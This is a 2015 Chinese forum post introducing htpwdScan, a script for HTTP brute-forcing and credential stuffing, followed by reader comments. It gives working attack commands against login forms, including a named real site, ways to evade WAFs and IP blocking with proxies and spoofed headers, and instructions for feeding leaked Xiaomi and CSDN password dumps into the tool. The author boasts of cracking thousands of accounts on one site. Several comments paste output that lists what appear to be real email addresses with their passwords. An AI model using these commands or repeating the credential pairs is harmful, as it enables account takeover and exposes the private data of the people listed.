htpwdScan -- 一个简单的HTTP暴力破解、撞库攻击脚本

lijiejie | 2015-04-23 17:46

htpwdScan 是一个简单的HTTP暴力破解、撞库攻击脚本:

1. 支持批量校验并导入HTTP代理,低频撞库可以成功攻击大部分网站,绕过大部分防御策略和waf

2. 支持直接导入互联网上泄露的社工库,发起撞库攻击

3. 支持导入超大字典

4. 其他细微功能:随机X-Forwarded-For、随机SessionID,支持Basic Auth,支持MD5 Hash等

下面是几个简单示例

HTTP Basic认证

htpwdScan.py -u=http://auth.58.com/ -basic user.txt password.txt

导入用户名密码字典即可

表单破解

htpwdScan.py -f post2.txt -d passwd=password.txt -err="success\":false"

从 post2.txt 导入抓的http包,passwd是需要破解的参数,而password.txt是保存了密码的字典文件

success":false 是选择的失败标记,标记中若有双引号,请记得用右斜杠 \ 转义

GET参数破解

htpwdScan.py -d passwd=password.txt -u="http://xxx.com/inside.php?m=login&username=test&passwd=test" -get -err="success\":false"

使用-get参数告诉脚本此处是GET请求

撞库攻击

htpwdScan.py -f=post.txt -database loginname,passwd=xiaomi.txt -regex="(\S+)\s+(\S+)" -err="用户名或密码错误" -fip
htpwdScan.py -f=post.txt -database passwd,loginname=csdn.net.sql -regex="\S+ # (\S+) # (\S+)" -err="用户名或密码错误" -fip

使用小米和csdn库发起撞库攻击。post.txt是抓包的HTTP请求

参数-regex设定从文件提取参数的正则表达式,此处需分组,分组的方式是使用括号()

小米的数据行格式是 xxx@163.com xxxxxxx 也即 (用户名)空白字符(密码)

(\S+)\s+(\S+) 指定第一个非空白字符拿去填充loginname,而第二个非空白字符串拿去填充passwd

csdn的数据行格式是zdg # 12344321 # zdg@csdn.net . 正则表达式写作\S+ # (\S+) # (\S+)

第一个#后面的非空白字符串填充passwd,第二个#后面的非空白字符串填充loginname

请注意,参数的顺序是重要的

校验HTTP代理

htpwdScan.py -f=post.txt -proxylist=proxies.txt -checkproxy -suc="用户名或密码错误"

要破解某个网站,批量测试使用代理是否连通目标网站,把HTTP请求保存到post.txt,然后用-suc参数设定连通标记

一个简单可行的校验方式是:

htpwdScan.py -u=http://www.baidu.com -get -proxylist=available.txt -checkproxy -suc="百度一下"

完整参数说明

脚本支持的小功能较多,请耐心阅读以下以下完整说明。建议多使用 -debug 参数查看HTTP请求是否有问题,没问题再发起真正的破解。

usage: htpwdScan.py [options]

* An HTTP weak pass scanner. By LiJieJie *

optional arguments:
  -h, --help            显示帮助

Target:
  -u REQUESTURL         设定目标URL, 示例.
                        -u="https://www.test.com/login.php"
  -f REQUESTFILE        从文件导入HTTP请求
  -https                当从文件导入HTTP请求时,启用https(SSL)
  -get                  使用GET方法,默认: POST
  -basic  [ ...]        HTTP Basic 暴力破解.
                        示例. -basic users.dic pass.dic

Dictionary:
  -d Param=DictFile [Param=DictFile ...]
                        为参数设定字典文件,
                        支持哈希函数如 md5, md5_16, sha1.
                        示例. -d user=users.dic pass=md5(pass.dic)

Detect:
  -no302                无视302跳转, 默认302敏感
  -err ERR [ERR ...]    响应文本的破解失败标记,
                        示例. -err "user not exist" "password wrong"
  -suc SUC [SUC ...]    响应文本中的破解成功标记,
                        e.g. -suc "welcome," "admin"
  -herr HERR            响应HTTP头的破解失败标记
  -hsuc HSUC            响应HTTP头的破解成功标记
  -rtxt RetryText       响应文本中的重试标记,出现则重试请求,
                        示例. -rtxt="IP blocked"
  -rntxt RetryNoText    响应文本中的重试标记,出现则重试请求,
                        示例. -rntxt="<body>"
  -rheader RetryHeader  响应头中的重试标记,出现则重试请求,
                        示例. -rheader="Set-Cookie:"
  -rnheader RetryNoHeader
                        响应头中的重试标记,未出现则重试请求,
                        e.g. -rheader="HTTP/1.1 200 OK"

Proxy and spoof:
  -proxy Server:Port    设定少量HTTP代理
                        示例. -proxy=127.0.0.1:8000,8.8.8.8:8000
  -proxylist ProxyListFile
                        从文件批量导入HTTP代理,
                        e.g. -proxylist=proxys.txt
  -checkproxy           检查代理服务器的可用性.
                        可用代理输出到 001.proxy.servers.txt
  -fip                  随机random X-Forwarded-For欺骗源IP
  -fsid FSID            生成随机session ID. 示例. -fsid PHPSESSID
  -sleep SECONDS        每次HTTP结束,等待SECONDS秒,
                        避免IP被临时屏蔽,进入黑名单

Database attack:
  -database DATABASE    导入社工库中的数据.
                        e.g. -database user,pass=csdn.txt
  -regex REGEX          从社工库中提取数据的字符串,必须分组.
                        e.g. -regex="(\S+)\s+(\S+)"

General:
  -t THREADS            工作线程数,默认50
  -o OUTPUT             输出文件.  默认: 000.Cracked.Passwords.txt
  -debug                进入debug mode检查HTTP请求和HTTP响应
  -nov                  只显示破解成功的条目,不显示进度
  -v                    show program's version number and exit

反馈

使用中若发现问题,请反馈给我。 my[at]lijiejie.com http://www.lijiejie.com

获取脚本:https://github.com/lijiejie/htpwdScan

[原文地址]

相关内容:

讨论:如何在网络上保护个人隐私?互联网时代的隐私泄露与安全保护?

对小米论坛泄露数据的一次分析 密码成功破解率高达37.8%

讨论:因为这次小米信息泄漏事件,总结一下数据泄漏造成的危害

中航信系统漏洞泄露乘客信息,查询任意航班乘机人姓名,航班号,身份证,手机号

Angry Birds和广告系统泄露个人信息——FireEye对Angry Birds的分析

小米手机客户资料泄露了吗?冒充小米售后回访诈骗电话:01053799231

发个社工福利站,搜库 - 密码泄露查询,社工库,泄露密码查询库

揭露一个飞机退改签的诈骗:借口机票退改签要退款,索要银行卡号,套取个人信息

京东惨招恶意炒作,数据库泄露为撞库攻击

2000万条酒店开房数据泄露 男子婚事被搅黄

开房数据泄露案告破 警方发现嫌犯曾参与多起网络犯罪

京东 淘宝 天猫订单信息泄露诈骗, 接到“京东”的客服电话之后遭遇团伙诈骗

adobe 1.5亿泄露数据 密码算法逆向挑战

怪异!10086短信接口泄露?10086发博彩、赌博短信

病患信息遭泄露 骗子假扮医生短信要红包

腾讯泄露隐私?看卫士哥获得女神的好友的名单,社工可能认识的人!

Carberp源代码泄露后续——黑掉黑客

DNS域传送信息泄露

如何抵御社工库类的黑客攻击?在明文密码已泄露的情况下保护自己?

关机后仍能提取出内存中的关键信息,计算机关闭后内存数据泄露

中国电信ADSL宽带信息泄露,可查任意IP对应的宽带账号,电话号码,上门砍人

某些搜索引擎超科幻搜索结果,泄露了不只一点点

King Of The Proxy (代理之王) v1.0 发布、HTTP代理采集、验证工具

盗刷京东客户资金 4人被抓 客户信息外流 源自去年底数据库泄密事件

苹果欲建造内部食堂 防止保密信息泄露

当当网再爆泄密事件 紧急冻结所有账户余额

美国色情网站遭黑客袭击 7.3万用户资料泄露

Mydecms 贤诚文章管理系统泄露数据库账号、密码、库名漏洞

互联网信息办公布用户信息泄露事件查处情况

2012年新浪微博用户密码泄露漏洞(图片解析)

目前我认为是2011密码泄露事件最合理、最符合实际的一个解释

索尼又遭黑客攻击 或致9万余份用户信息泄露

美国军方遭黑客袭击 泄露大量秘密信息

艺电称旗下一网站遭攻击 用户资料泄露

囧事 知名反病毒厂商卡巴斯基源代码泄露

【文章】8.9 泄露密钥 对称密码 私/密钥泄露

【文章】4.13 秘密的全或无泄露 ANDOS协议

【漏洞】Microsoft IE CSS处理跨域信息泄露

各种吐槽:

1#

老笨蛋 | 2015-04-23 17:50

大婶出新货了,赞。

2#

hkAssassin | 2015-04-23 18:15

大婶出新货了,赞。

3#

Mody | 2015-04-23 18:17

大婶出新货了,赞。

4#

nony (Not do is die...) | 2015-04-23 18:21

多线程撞库啊

5#

lijiejie | 2015-04-23 18:24

撞库攻击某视频网站,238秒破解成功账号3712个。

撞库攻击某视频网站,238秒破解成功账号3712个。

6#

浅蓝 (摸摸大) | 2015-04-23 18:28

大婶出新货了,赞。

7#

zph | 2015-04-23 18:29

太牛逼了,赞

8#

刘海哥 (‮moc.ghuil.www) | 2015-04-23 18:38

太牛逼了,赞

9#

Skull ((‮data;)) | 2015-04-23 18:46

字典应该在放出来啊

10#

小胖子 (z7y首席代言人,园长的表哥...) | 2015-04-23 19:07

嗯,以后众测又会有很多人刷撞库攻击了。@zeracker

11#

Gnest (乌云首席酱油哥) | 2015-04-23 19:36

姐姐,么么哒。

12#

Well (男神提枪逛青楼。) | 2015-04-23 19:57

姐姐我想给你生娃。。。

13#

’‘Nome (<>?:"{}!%^#&*看出啥来了?) | 2015-04-23 20:05

李洁杰.......哥 谢谢了~ 感谢你的无私奉献

14#

小龙 | 2015-04-23 20:08

太牛逼了,赞,我的草榴账号又有希望了,撸主别哭,站起来撸

15#

sin (求实习) | 2015-04-23 21:15

另外前端放个tor之类的代理池,几分钟刷新下ip

16#

咖啡 (来自iPhone6s土豪金客户端 | 1分钟前 迪拜帆船酒店 总统套房) | 2015-04-23 21:30

收藏, 分享下字典就更好了

17#

’‘Nome (<>?:"{}!%^#&*看出啥来了?) | 2015-04-23 21:33

@咖啡 用泄漏的裤子进行撞裤

18#

MeirLin (我需要AV(安慰)) | 2015-04-23 22:21

有token有办法么

19#

→Hack涛 | 2015-04-23 22:57

前提你要有个给你撞库的地址,第二你需要社工库!第三就是我不会用求教程

20#

Jumbo | 2015-04-23 23:29

支持哈希函数如 md5, md5_16, sha1.这个给力

21#

动后河 (类的继承) | 2015-04-23 23:34

判断登录成功与否方式太单一了,还可以加两个

1. 重定向与否

2. 返回数据长度

22#

her0ma | 2015-04-23 23:43

我想知道撞58的成功了吗?

23#

her0ma | 2015-04-23 23:47

@lijiejie 前两天某天下午开发反馈说我们的系统有异常,我看了半天日志没发现啥问题,是你撞的么?我再翻看看日志记录

24#

炯炯虾 | 2015-04-23 23:54

也不显示扫描进度 谁知道扫了多少

25#

狗狗侠 | 2015-04-24 00:54

撞58妥妥的

26#

MeirLin (我需要AV(安慰)) | 2015-04-24 01:03

好像还是需要导入https的包的,可不可以指定一个地址和参数进行破解呢

27#

0c0c0f | 2015-04-24 01:17

[+OK]passwd=ilover&loginname=greentape@sina.com
[+OK]passwd=digital&loginname=xueshuangqing@sina.com
[+OK]passwd=LINUXS&loginname=iceberger@263.net
[+OK]passwd=qdq&loginname=qdq@ufsoft.com.cn
[+OK]passwd=dm-hxh.19941104&loginname=popdou@163.com
[+OK]passwd=441772&loginname=tjzhm@citiz.net
[+OK]passwd=9426149&loginname=hanlinz@163.net
[+OK]passwd=mygodmygod&loginname=randolph@163.net
[+OK]passwd=mutant1&loginname=gtccl@sina.com
[+OK]passwd=68411880&loginname=LACOOL@163.NET
[+OK]passwd=Qlc&loginname=Qlc_Mail@163.net
_____________________________________________________________________________________________________________________________________________________________________________________________
[KeyboardInterrupt]
Task aborted at 01:04:21, cost 35.64 seconds
Cracked 1235 item(s) in total.

提示撞库成功,但所有账户都登录不进去。

目前网站的回显是:用户名或密码错误,我用csdn裤子撞的。

请问,可能是什么原因导致误报?@lijiejie

28#

Me_Fortune | 2015-04-24 08:58

验证码打一套

29#

lijiejie | 2015-04-24 09:57

@0c0c0f loginname, passwd是目标参数,检查下参数名。 另外,默认是302敏感,如果登陆失败也302跳转,加参数-no302. 在Detect这个组里面选择需要的参数告诉扫描器破解成功。 默认只会检测302跳转的。

30#

open (心佛即佛,心魔即魔.) | 2015-04-24 10:04

你这个验证代理,只是验证匿名代理的吧,加个破解squid代理等功能最好。我有现成的只针对http proxy代理的

31#

lijiejie | 2015-04-24 10:04

@动后河 默认是302敏感的,如果登陆失败也302,可以用-no302禁用。 Content-Length后面考虑加上去。 现在支持的规则已经较多,所以尽量不让大家搞糊涂了。 争取做得简单易用些

32#

lijiejie | 2015-04-24 10:06

@0c0c0f 在000.Cracked.Passwords.txt里面有写入破解成功的原因,检查下这个文件可知道为什么误报

33#

百晓生 | 2015-04-24 10:18

@0c0c0f 遇到相同问题,

[+OK]username=armyant@sina.com&password=wc1988315
[+OK]username=like0403@163.com&password=asd0403
[+OK]username=szcyyszsbg@126.com&password=nfdsm1
[+OK]username=717078227@qq.com&password=wang12king
[+OK]username=ts7j@msn.com&password=d19910228
[+OK]username=540636689@qq.com&password=xiao1324
[+OK]username=yl_2001@126.com&password=ifilw50
[+OK]username=samyan02@163.com&password=19810905
[+OK]username=77838312@qq.com&password=a13145210
[+OK]username=275701187@qq.com&password=xingxing123
[+OK]username=325567593@qq.com&password=bin123456
[+OK]username=309909465@qq.com&password=zxc1593572
[+OK]username=fr911@126.com&password=gtofr911
[+OK]username=406174405@qq.com&password=qaz7845120
[+OK]username=47999940@qq.com&password=7758258a
[+OK]username=1150921074@qq.com&password=li341022
[+OK]username=ziri381832532@163.com&password=001220
______________________________________________________
[KeyboardInterrupt]
Task aborted at 10:10:53, cost 229.46 seconds
Cracked 27269 item(s) in total.

无法登陆

34#

lijiejie | 2015-04-24 10:36

@百晓生 先加参数 -debug 测试页面返回了什么, 以及是否破解成功。 然后根据响应的内容来选择成功标记、失败标记。 如果登陆失败会302跳转,需要加参数 -no302 标记302不敏感。

35#

0c0c0f | 2015-04-24 10:37

@百晓生

1、成功标记。

2、参数顺序。

ps:可以debug看一下。

36#

TellYouThat | 2015-04-24 10:56

mark吊

37#

’‘Nome (<>?:"{}!%^#&*看出啥来了?) | 2015-04-24 12:54

哪个哥哥用懂了 - - 帮弟弟个忙呗

38#

爱上平顶山 (IT民工 职业搬砖 挖坑 丝一枚 神马都不会~) | 2015-04-24 13:29

这东西以前就有吧?

39#

小博 | 2015-04-24 13:33

字典请放出来

40#

her0ma | 2015-04-24 13:55

@lijiejie 最想知道的是师傅爆破我大58成功了吗?求漏洞